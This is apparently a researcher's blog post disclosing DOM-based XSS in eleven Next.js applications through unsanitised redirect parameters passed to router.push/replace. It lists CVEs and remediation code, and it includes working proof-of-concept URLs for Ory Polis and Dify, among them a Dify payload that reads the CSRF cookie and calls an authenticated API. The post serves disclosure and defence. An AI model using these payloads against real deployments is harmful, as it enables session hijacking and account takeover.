Thank You Next Part 1: I'm so Grateful for the XSS

Uncovering DOM-based XSS vulnerabilities infesting 11 Next.js applications: AutoGPT, Dify, Teable AI, Kortix AI CompanyOS (formerly Suna), Homarr, openstatus, Mage AI, and more


Thank You Next Part 1: I'm so Grateful for the XSS

In this new three-part series, I will share a bizarre security disclosure adventure I embarked on during the first half of 2026. I had hoped one post would be sufficient, but the complexity and— for lack of a better word— shittiness of this whole debacle begs otherwise.

In this first post, I'll start simple by presenting 12 new CVEs across 11 Next.js applications. In the second post, I’ll be sharing a juicy r̸͖̒͌ͅe̴̪̩͑̏ḏ̸̀ǎ̷͔̃c̴̦̓t̶̼͋͆ḙ̵̈́d̵̥͇̓. Finally, in the third post, I’ll be exploring this convoluted mess with an analytical touch.

So let’s dig into the fun!

Description

A DOM-based Cross-Site Scripting (XSS) vulnerability has been discovered in multiple applications. The root cause is unsanitised data passed to Next.js’ useRouter().push() and useRouter().replace() (hereafter called affected functions or sinks). If the data is an external URL, it will subsequently be passed to window.location.

const router = useRouter();
router.push("javascript:alert(1)"); // boom
TypeScript

In the above example, router.push internally calls window.location = "javascript:alert(1)", which will execute the code after the colon and trigger an alert popup. These are called JavaScript URLs, and they are quite useful in the XSS arsenal!

To be clear, the vulnerability only occurs if there is a code path from an attacker-controllable source to the affected functions. For example, using a static path is not vulnerable:

const router = useRouter();
router.push("/home"); // NOT vulnerable
router.push(queryParameter); // POTENTIALLY vulnerable
TypeScript

Impact

Potential impacts include session hijacking, internal network pivoting, unauthorised API calls performed on behalf of the victim, and account takeover. Ultimately, the impact of this XSS depends on the individual application and the APIs exposed.

A compromised auth provider may lead to unauthorised config changes and further auth bypasses. A compromised financial application may lead to unauthorised trades and transactions. Et cetera.

Affected Software

The following table lists the open-source libraries I’ve discovered to be affected by the Next.js router XSS.

ProjectCategoryCVE-IDAffected VersionsReport
Teable AIProductivity/AICVE-2026-9566fixed in 2026.04.23 releasegist
Pingvin ShareFile SharingCVE-2026-9519not fixed at time of writing, project is archived, coordinated disclosure expiredgist
BlitzJSToolkitCVE-2026-9520not fixed at time of writing, coordinated disclosure expiredgist
RalllyProductivityCVE-2026-6493≤ 4.7.4gist
Ory PolisSSOCVE-2026-33506≤ 1.52.2gist
openstatusUptime and MonitoringCVE-2026-5808≤ commit 1b678e7 (merged on 2026.03.14)gist
HomarrProductivityCVE-2026-33510≤ 1.56.1GHSA
DifyAutomation/AICVE-2026-85021, CVE-2026-85022XSS inadvertently fixed in v1.13.3; Open Redirect not yet fixedgist
AutoGPTProductivity/AICVE-2026-55237≤ 0.6.61GHSA
Kortix AI CompanyOS (formerly Suna)Productivity/AICVE-2026-12811silently patched in 0.8.39gist
Mage AITechnology/AICVE-2026-11436not fixed at time of writing, coordinated disclosure expiredgist

Behold! Some artwork to grace these fine corridors:

XSS in Homarr ≤ 1.56.1

XSS in Homarr ≤ 1.56.1

XSS in Teable AI < 2026.04.23, demonstrating session hijacking by calling an authenticated API

XSS in Teable AI < 2026.04.23, demonstrating session hijacking by calling an authenticated API

Examples

Let’s look at two examples of vulnerable applications. I hand-picked these for impact and intellectual curiosity.

Example 1: DOM XSS in Ory Polis (CVE-2026-33506)

Ory Polis is an open-source Enterprise SSO and directory sync application. An attacker could exploit an XSS in Ory Polis ≤ 1.52.2 targeting the administrator of the application to gain administrative privileges. Critically, the attacker could modify the SSO configuration and thus bypass authentication in subsequent applications relying on Polis.

Ory Polis maintainers promptly responded to the security report and issued a patch.

Repo: ory/polis
Advisory: GHSA

The application improperly trusts a URL parameter (callbackUrl), which is passed to router.push. An attacker can craft a malicious link that, when opened by an authenticated user (or an unauthenticated user that later logs in), performs a client-side redirect and executes arbitrary JavaScript in the victim’s browser.

File: pages/admin/auth/login.tsx, Line 41

let { callbackUrl } = router.query as { callbackUrl: string };

callbackUrl = callbackUrl || '/admin/sso-connection';

// [...]

if (status === 'authenticated') {
  router.push(callbackUrl); // <-- sink
  return;
}
login.tsx
TypeScript

As shown, the callbackUrl parameter is taken from the browser's URL query and later passed to router.push without validating against the javascript: protocol, leading to XSS.

Sample Payload:

http://test.local:5225/admin/auth/login?callbackUrl=javascript:alert(window.origin)

XSS in Ory Polis ≤ 1.52.2

XSS in Ory Polis ≤ 1.52.2

Example 2: DOM XSS in Dify splash.tsx Layout (CVE-2026-85021)

Dify is an open-source web application that lets users build and deploy AI apps, including workflows, RAG pipelines, agents, and chatbots. The XSS here is very similar to the example above, but it demands a slightly more complicated payload due to additional checks.

Repo: langgenius/dify
Advisory: gist

The application improperly trusts a URL parameter (redirect_url) in the Splash layout, which is used by multiple routes such as /chat, /chatbot, and /workflow. The parameter is subsequently passed to router.replace leading to DOM-based XSS. An attacker can craft a malicious link that, when opened by a user, performs a client-side redirect and executes arbitrary JavaScript in the victim’s browser.

File: web/app/(shareLayout)/components/splash.tsx, Line 48

  const searchParams = useSearchParams()
  const router = useRouter()
  const redirectUrl = searchParams.get('redirect_url') // <-- source
  // [...]
  useEffect(() => {
    // [...]
    const redirectOrFinish = () => {
      if (redirectUrl)
        router.replace(decodeURIComponent(redirectUrl)) // <-- sink
      else
        setIsLoading(false)
    }
splash.tsx
TypeScript

Initially, the PoC attempted was:

http://test.local/chat/ogMVd0AemTwZwGuz?redirect_url=javascript:alert(1)

This is the payload which usually works in PoCs. But when I tried this, an error would show up in the console:

Uncaught TypeError: URL constructor: http://test.localjavascript:alert(1) is not a valid URL.

This is because it does not pass the new URL(...) parse in getShareCodeFromRedirectUrl.

To actually reach the sink, we need to bypass additional formatting and parsing rules.

These additional rules are specific only to Dify, due to its implementation.

First, we need to understand how the attacker-controlled payload reaches the sink.

  1. The Splash layout (which contains the router.replace sink) is wrapped by WebAppStoreProvider. (source) So let’s look at what WebAppStoreProvider calls.

     <WebAppStoreProvider>
        <Splash>
          {children}
        </Splash>
      </WebAppStoreProvider>
    layout.tsx
    TypeScript
  2. WebAppStoreProvider will attempt to extract a "share code" from the redirect URL. (source)

    const redirectUrlParam = searchParams.get('redirect_url')
    
    // Compute shareCode directly
    const shareCode = getShareCodeFromRedirectUrl(redirectUrlParam) || getShareCodeFromPathname(pathname)
    useEffect(() => {
      updateShareCode(shareCode)
    }, [shareCode, updateShareCode])
    web-app-context.tsx
    TypeScript
  3. Inside getShareCodeFromRedirectUrl, the share code will be extracted by grabbing the last segment of the URL path. (source)

    const getShareCodeFromRedirectUrl = (redirectUrl: string | null): string | null => {
      if (!redirectUrl || redirectUrl.length === 0)
        return null
      const url = new URL(`${window.location.origin}${decodeURIComponent(redirectUrl)}`) // <-- !!!
      return url.pathname.split('/').pop() || null
    }
    web-app-context.tsx
    TypeScript

As such, the JavaScript payload needs to fulfill two conditions:

  1. It needs to appear to be a valid URL when prepended by window.location.origin, due to new URL inside getShareCodeFromRedirectUrl.
  2. It needs to end with a /{VALID_APP_CODE}, due to later API calls which validate the app code (aka share code). An app code is an identifier generated by Dify when you create a new workflow or bot; something like ogMVd0AemTwZwGuz. To get a valid app code, the attacker must find a way to enumerate it, such as by finding a link which discloses it or finding a Dify API which returns app codes.

To solve the first condition, we can begin the JS payload with a number to trick the URL-parsing into seeing a port. For example, if redirect_url is javascript:80/1;alert(1), then it will attempt to parse the URL http://test.localjavascript:80/1;alert(1), which— for all intents and purposes— is a valid URL! At the same time, 80/1;alert(1) is also valid JavaScript!

To meet the second condition, we can simply append //{APP_CODE}, which will be treated as a comment in the JS context.

The main challenge for the attacker here, is that APP_CODE needs to be known.

Sample Payloads:

http://test.local/chat/ogMVd0AemTwZwGuz?redirect_url=javascript:80/alert(1)//ogMVd0AemTwZwGuz
http://test.local/chat/ogMVd0AemTwZwGuz?redirect_url=javascript:80/1;csrf%20=%20document.cookie.split(%27;%27).find(x%20=%3E%20x.trim().startsWith(%27csrf%27)).split(%27=%27).pop();%20fetch(%27/console/api/account/profile%27,{headers:{ %27x-csrf-token%27:csrf}}).then(r=%3Er.text()).then(alert)//ogMVd0AemTwZwGuz

The second payload demonstrates session hijacking by calling an authenticated endpoint. It first grabs the CSRF token from cookies, then calls /console/api/account/profile, and finally displays the data in an alert. In an actual attack, the data may be silently exfiltrated or a state-modifying API may be called which wouldn't necessarily require exfiltration.

XSS in Dify < 1.13.3 with a simple alert

XSS in Dify < 1.13.3 with a simple alert

XSS in Dify < 1.13.3, proving session hijacking

XSS in Dify < 1.13.3, proving session hijacking

Remediations

Untrusted redirect URLs should be validated or sanitised. They should be restricted to absolute paths like /a/b/c, possibly with an origin like https://your.site.com/a/b/c. It should not accept dangerous URLs such as javascript URLs or open redirects.

Here are some ways I've recommended the affected libraries to validate their URLs.

Remediation A: Simple String Checking

This approach only allows absolute URL paths such as /abc and protects against open redirects such as //example.com/path.

function isValidRedirectPath(path) {
	return returnUrl && returnUrl.startsWith("/") && !returnUrl.startsWith("//");
}

const returnUrl = searchParams.get("returnUrl");
let redirectPath = isValidRedirectPath(returnUrl) ? returnUrl : "/";
router.push(redirectPath);
JavaScript

It is relatively simple, and quite effective.

Remediation B: URL Parsing

This second example is similar to the first, but allows for http:// and https:// scheme in the redirect URL while still protecting against open redirects. To achieve this, it uses the builtin URL JavaScript class.

function isValidRedirectPath(path) {
  try {
	// Parse relative paths correctly by providing the current origin as the base
	const url = new URL(path, window.location.origin);
	// Ensure the origin matches the current site AND the scheme is either http: or https:
	return url.origin === window.location.origin && 
		  (url.protocol === 'http:' || url.protocol === 'https:');
  } catch {
	return false;
  }
}

const returnUrl = searchParams.get("returnUrl");
let redirectPath = isValidRedirectPath(returnUrl) ? returnUrl : "/";
router.push(redirectPath);
JavaScript

This correctly handles:

  • Relative paths like /dashboard (resolves to https://example.com/dashboard)
  • Absolute paths within the same origin like https://example.com/pipelines
  • Blocks cross-origin and open redirects like //attacker.site/index.html and https://attacker.site/
  • Blocks dangerous schemes like javascript:, data:, vbscript:, etc.

Intermission

I should mention that there were others who came across this vulnerability first. Kevin Stubbings (kwstubbs) from GitHub Security Labs has also embarked on this spree before:

As have others:

It goes without saying that this class of Next.js bug has quite the history across the Next ecosystem.

The astute reader may also notice that Dify, among the affected software, was the only one labelled “inadvertently fixed”. What does that mean? And how did it come to this?

In a later post, I will be sharing more details of this, along with more technical funsies.

I’ll end this post with an anecdote and tip on vuln hunting. I initially came across this Next.js bug pattern while pentesting a closed-source app which had a backTo parameter intended for a redirect URL— exact same situation as the other 11 apps above. So I reported the XSS and a couple days later the maintainers said that they fixed it by completely removing the parameter.

Usually in a pentest, I report the finding and move on, because deadlines amirite? But since this was a client-side bug, I used the opportunity to do a bit of white-box analysis by inspecting the JavaScript and root-causing the issue. I understood the issue existed, but I didn’t understand why. After a bit of tracing, I found the URL parameter was passed into router.push, and with a bit of Googling, I realised this was not an isolated issue. And that’s how I ended up in this rabbit hole.

So if you ever get the chance to do root cause analysis, to go deeper, I would encourage you to try it out, because you might just gain new insights in the process.

What AI model did you use?

I used the limited model HMN-LLM v13017295. Access to this premium model is available at 1 USD per I/O token. It comes with a cutting-edge sporadic thinking mode along with a library of over 100 ASMR sounds, including umms, ahhs, and errs. You can find a demo here: HMN LLM AI.

Is this router sink still out there?

“Yes*.”

It’s still out there but changes made by the Next.js team have muddied the situation.

It used to be that when such a taint path was discovered— where untrusted input enters router.push— the security report would be made direct to the Next.js user, rather than the Next.js maintainers. This is because in the past Next.js rejected responsibility for sanitising input entering the affected functions, so responsibility fell to users. It was not ideal, but at least the direction was clear.

Now, if you try to reproduce the vulnerabilities on an app running the latest Next.js versions, you’ll find that the payload is blocked by an error message:

Next.js has blocked a javascript: URL as a security precaution

This seems like a fix, but as with a lot of things, the situation is more complicated. And in the next two posts, I’ll be explaining this more thoroughly.


Share on



Comments are back! Privacy-focused; without ads, bloatware 🤮, and trackers. Be one of the first to contribute to the discussion— before AI invades social media, world leaders declare war on guppies, and what little humanity left is lost to time.